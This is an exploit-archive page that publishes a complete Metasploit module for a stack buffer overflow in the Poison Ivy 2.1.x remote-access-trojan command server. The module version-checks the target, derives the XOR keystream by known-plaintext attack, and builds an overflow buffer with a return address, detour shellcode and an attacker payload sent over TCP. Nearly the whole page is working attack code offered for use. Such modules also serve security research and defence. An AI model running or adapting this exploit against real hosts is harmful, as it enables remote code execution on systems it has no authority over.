Exploit the possiblities

Poison Ivy 2.1.x C2 Buffer Overflow

Poison Ivy 2.1.x C2 Buffer Overflow
Posted Jun 9, 2016
Authored by Jos Wetzels | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server. The exploit does not need to know the password chosen for the bot/server communication.

tags | exploit, overflow
MD5 | f86d8cf59fe877c6e53d89c9b73ae949

Poison Ivy 2.1.x C2 Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
],
'References' =>
[
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
],
'DisclosureDate' => 'Jun 03 2016',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
},
'Platform' => 'win',
'Targets' =>
[
[
'Poison Ivy 2.1.4 on Windows XP SP3',
{
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
'Packet2Offset' => 0xB9E # offset of second packet within server's response
}
]
],
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(3460)
], self.class)

end

# XOR two strings
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
end

# Obtain keystream using known plaintext
def get_keystream(ciphertext, knownPlaintext)
if(ciphertext.length < knownPlaintext.length)
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
else
return xor_strings(ciphertext, knownPlaintext)
end
end

# Apply keystream to plaintext
def use_keystream(plaintext, keyStream)
if(keyStream.length > plaintext.length)
return xor_strings(plaintext, keyStream[0, plaintext.length])
else
return xor_strings(plaintext, keyStream)
end
end

def check
connect
# Poke
sock.put("\x01")
# Fetch response
response = sock.get_once(6)

if (response == "\x89\xFF\x90\x0B\x00\x00")
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
return Exploit::CheckCode::Appears
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Safe
end

# Load known plaintext chunk
def load_c2_packet_chunk
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
chunk
end

def exploit
# Known plaintext from C2 packet
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
knownPlaintext2 = load_c2_packet_chunk()

# detour shellcode (mov eax, StoreAddress; jmp eax)
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
detourShellcode << "\xFF\xE0" # jmp eax

# Padding where necessary
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)

# Construct exploit buffer
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
exploitBuffer << compressedBuffer # compressedBuffer
exploitBuffer << "\xFF" * 0x104 # readfds
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
exploitBuffer << [target['Ret']].pack("V") # EIP
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
exploitBuffer << detourShellcode # detour to storage area

# Calculate values
allocSize = exploitBuffer.length + 1024
infoLen = payload.encoded.length
infoSize = (infoLen + 4)

# Handshake
connect
print_status("Performing handshake...")

# Poke
sock.put("\x01")

# Fetch response
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)

eHeader = response[target['Packet2Offset'], 6]
eInfo = response[target['Packet2Offset'] + 10..-1]

if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
# Keystream derivation using Known Plaintext Attack
keyStream1 = get_keystream(eHeader, knownPlaintext1)
keyStream2 = get_keystream(eInfo, knownPlaintext2)

# Set correct infoLen
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]

# Set correct decompressSize
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]

# Build packet
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)

# Encrypt infoSize bytes
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]

# Make sure infoSize gets overwritten properly since it is processed before decryption
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]

# Finalize packet
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer

print_status("Sending exploit...")
# Send exploit
sock.put(exploitPacket)
else
print_status("Not enough keystream available...")
end

select(nil,nil,nil,5)
disconnect
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close